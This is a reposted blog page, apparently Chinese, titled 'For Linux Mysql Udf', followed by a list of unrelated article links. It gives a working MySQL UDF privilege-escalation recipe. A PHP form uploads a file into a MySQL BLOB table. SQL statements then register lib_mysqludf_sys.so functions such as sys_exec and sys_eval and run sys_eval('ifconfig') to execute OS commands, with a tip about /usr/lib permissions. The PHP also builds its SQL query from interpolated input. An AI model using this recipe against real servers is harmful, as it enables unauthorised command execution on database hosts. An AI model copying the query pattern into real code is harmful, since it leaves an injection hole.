For Linux Mysql Udf
来源:互联网 发布:比特币 闪电网络 编辑:程序博客网 时间:2024/05/16 07:27
http://hi.baidu.com/lucidc/blog/item/df103728ee6142f299250ad5.html
First:
.........
CREATE TABLE tbl_upload (
id INT NOT NULL AUTO_INCREMENT,
name VARCHAR(30) NOT NULL,
type VARCHAR(30) NOT NULL,
size INT NOT NULL,
content MEDIUMBLOB NOT NULL,
PRIMARY KEY(id)
);....
then...............
<?php
if(isset($_POST['upload_file']) && $_FILES['file_name']['size'] > 0)
{
$originalName = $_FILES['file_name']['name'];
$tmpName = $_FILES['file_name']['tmp_name'];
$fileSize = $_FILES['file_name']['size'];
$fileType = $_FILES['file_name']['type'];
$fp = fopen($tmpName, 'r');
$content = fread($fp, filesize($tmpName));
$content = addslashes($content);
fclose($fp);
if(!get_magic_quotes_gpc())
{
$originalName = addslashes($originalName);
}
$dbhostname = 'ip';
$dbusername = 'test';
$dbpassword = 'test';
$connection = mysql_connect($dbhostname, $dbusername, $dbpassword);
mysql_select_db("testing");
$query = "INSERT INTO tbl_upload (name, size, type, content ) VALUES ('$originalName', '$fileSize', '$fileType', '$content')";
mysql_query($query) or die('Error, query failed');
mysql_close($connection);
echo "File $originalName uploaded";
}
?>
<HTML>
<BODY>
<form method="post" ACTION="new.php"enctype="multipart/form-data">
<table width="50%" align="center" border="0?? cellpadding="1?? cellspacing="1??>
<tr>
<td width="59%" align="left">
<input type="hidden" name="MAX_SIZE" value="200000000000">
<input name="file_name" type="file" id="file_name">
</td>
<td width="41%" align="left"><input name="upload_file" type="submit" id="upload_file" value="Upload"></td>
</tr>
</table>
</form>
</BODY>
</HTML>
..................................
THAT is all
------------------------------all-------------------
CREATE TABLE tbl_Files (id_files tinyint(3) unsigned NOT NULL auto_increment,bin_data longblob NOT NULL,description
tinytext NOT NULL,filename varchar(50) NOT NULL,filesize varchar(50) NOT NULL,filetype varchar(50) NOT NULL,PRIMARY KEY
(id_files));
create function lib_mysqludf_sys_info returns string soname 'lib_mysqludf_sys.so';
create function sys_get returns string soname 'lib_mysqludf_sys.so';
create function sys_set returns int soname 'lib_mysqludf_sys.so';
create function sys_exec returns int soname 'lib_mysqludf_sys.so';
create function sys_eval returns string soname 'lib_mysqludf_sys.so';
select sys_eval('ifconfig');
pay attention to you /usr/lib must has x priv :D
....like this...
http://av.vimeo.com/38971/327/19728278.mp4?token=1273290424_630f1da5c67382efee452a5eea75e1c6
- For Linux Mysql Udf
- Mysql udf提权(Linux平台)
- Mysql UDF
- MySQL 4/5/6 UDF for Command Execution
- udf for ie
- linux环境下,mysql UDF的实现编译及安装
- Linux平台下 MYSQL用户自定义函数(UDF)的利用
- mysql udf.dll(UDF)漏洞修补
- MySQL UDF同步 memcached
- MySQL的UDF
- MySQL:如何编写UDF
- Mysql UDF提权
- mysql UDF regex_replace
- MySQL:如何编写UDF
- mysql-udf-http问题
- MySQl UDF加载报错(ERROR 1124 (HY000): No paths allowed for shared library)
- Write Udf For Interbase/Firebird
- mysql for linux 2
- td内增加滚动条
- c:/WINDOWS/system32/drivers/etc/hosts
- 匈牙利命名法收藏
- CN域名成标配 门户微博开打“短域名”之战
- DLL导出类的问题
- For Linux Mysql Udf
- 实战Linux Bluetooth编程 (八) Class of Device
- 如何实现实时检测用户在线 asp
- Spring支持下HibernateTemplate访问Hibernate
- DLL中导出函数的两种方式(dllexport与.def文件
- 店主担忧实名后再纳税微薄利润将荡然无存
- xsd自动生成cs文件
- SAP中如何为透明表设置日志文件
- 把女友升级为老婆时发生的BUG!!!